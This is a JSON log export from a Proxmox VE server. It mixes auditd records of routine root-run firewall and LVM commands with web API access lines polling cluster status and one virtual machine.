{"@timestamp":1781964575940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.940:61613): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59143 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665510,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.510:66585): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966219786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965355424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.424:65243): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62668 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575934,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.934:61612): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59142 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665500,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.500:66584): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966219786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965355417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.417:65242): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139490 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62667 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.929:61611): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59141 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665493,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.493:66583): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966219786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:58 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965355409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.409:65241): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139ee0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.926:61610): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a7cba3e1740 items=0 ppid=1156 pid=59140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965665485,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.485:66582): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966218791,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781965354410,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965354.410:65240): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c5130 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575923,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.923:61609): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc147450 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665476,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.476:66581): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966216863,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965354381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965354.381:65239): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d27ba720 a1=64f8d5fe5cc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.918:61608): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140250 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59139 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665463,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.463:66580): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966216863,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781965352711,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965352.711:65238): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956530 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.913:61607): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc147710 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665452,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.452:66579): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966216863,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965352702,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965352.702:65235): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956470 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62660 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575908,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.908:61606): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b1d80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665446,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.446:66578): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966215768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965347691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965347.691:65231): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899563b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.902:61605): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd4a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59136 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665438,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.438:66577): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966215768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965347683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965347.683:65228): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899562f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.897:61604): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb693d3c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665436,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.436:66576): argc=1 a0=\"date\""} {"@timestamp":1781966215768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:54 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965345399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.399:65225): arch=c000003e syscall=59 success=yes exit=0 a0=56d61c21f0a0 a1=56d61c21be20 a2=56d61c1fd680 a3=5 items=2 ppid=62650 pid=62656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.891:61603): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665430,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.430:66574): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966214745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781965345394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.394:65224): arch=c000003e syscall=59 success=yes exit=0 a0=56d5e97adac8 a1=7fff3b70cc70 a2=56d61c1fd680 a3=56d5e979124e items=2 ppid=62650 pid=62652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575885,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.885:61602): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665421,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.421:66573): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966213740,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1139"} {"@timestamp":1781965345393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.393:65223): arch=c000003e syscall=59 success=yes exit=0 a0=7fff3b70cc30 a1=56d61c21ad10 a2=56d61c1fd680 a3=5 items=2 ppid=62650 pid=62651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.881:61601): arch=c000003e syscall=59 success=yes exit=0 a0=61c98119d0a0 a1=61c981199e20 a2=61c98117b680 a3=5 items=2 ppid=59126 pid=59132 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665413,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.413:66572): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966213740,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:52 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965345389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.389:65221): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.878:61600): arch=c000003e syscall=59 success=yes exit=0 a0=61c97d40eac8 a1=7ffecb09c7b0 a2=61c98117b680 a3=61c97d3f224e items=2 ppid=59126 pid=59128 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665406,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.406:66571): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966213740,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965345381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.381:65220): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62649 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.878:61599): arch=c000003e syscall=59 success=yes exit=0 a0=7ffecb09c770 a1=61c981182310 a2=61c98117b680 a3=5 items=2 ppid=59126 pid=59127 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665396,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.396:66570): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current? HTTP/1.1\" 200 235"} {"@timestamp":1781965345375,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.375:65219): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62648 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.874:61597): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59126 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665386,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.386:66569): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:50 +0100] \"GET /api2/json/cluster/resources? HTTP/1.1\" 200 515"} {"@timestamp":1781965345362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.362:65218): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62647 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.867:61596): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59125 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965664381,"@rawstring":"node=pve type=EXECVE msg=audit(1781965664.381:66568): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965345356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.356:65217): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62646 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.861:61595): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59124 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965664354,"@rawstring":"node=pve type=EXECVE msg=audit(1781965664.354:66567): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781965345353,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.353:65216): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e042c910740 items=0 ppid=1156 pid=62645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964575856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.856:61594): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1394d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965663881,"@rawstring":"node=pve type=EXECVE msg=audit(1781965663.881:66566): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:50 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965345351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.351:65215): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed900 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.850:61593): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147740 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59122 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965663872,"@rawstring":"node=pve type=EXECVE msg=audit(1781965663.872:66563): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966210696,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965345346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.346:65214): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb641de20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.844:61592): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59121 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965660689,"@rawstring":"node=pve type=EXECVE msg=audit(1781965660.689:66560): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781966210696,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:49 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781965345341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.341:65213): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e6070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964574890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964574.890:61591): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59120 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965660689,"@rawstring":"node=pve type=EXECVE msg=audit(1781965660.689:66559): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966210696,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965345335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.335:65212): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f8460 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62642 auid=4294967295 uid=0 gid=0 euid=0 suid=0 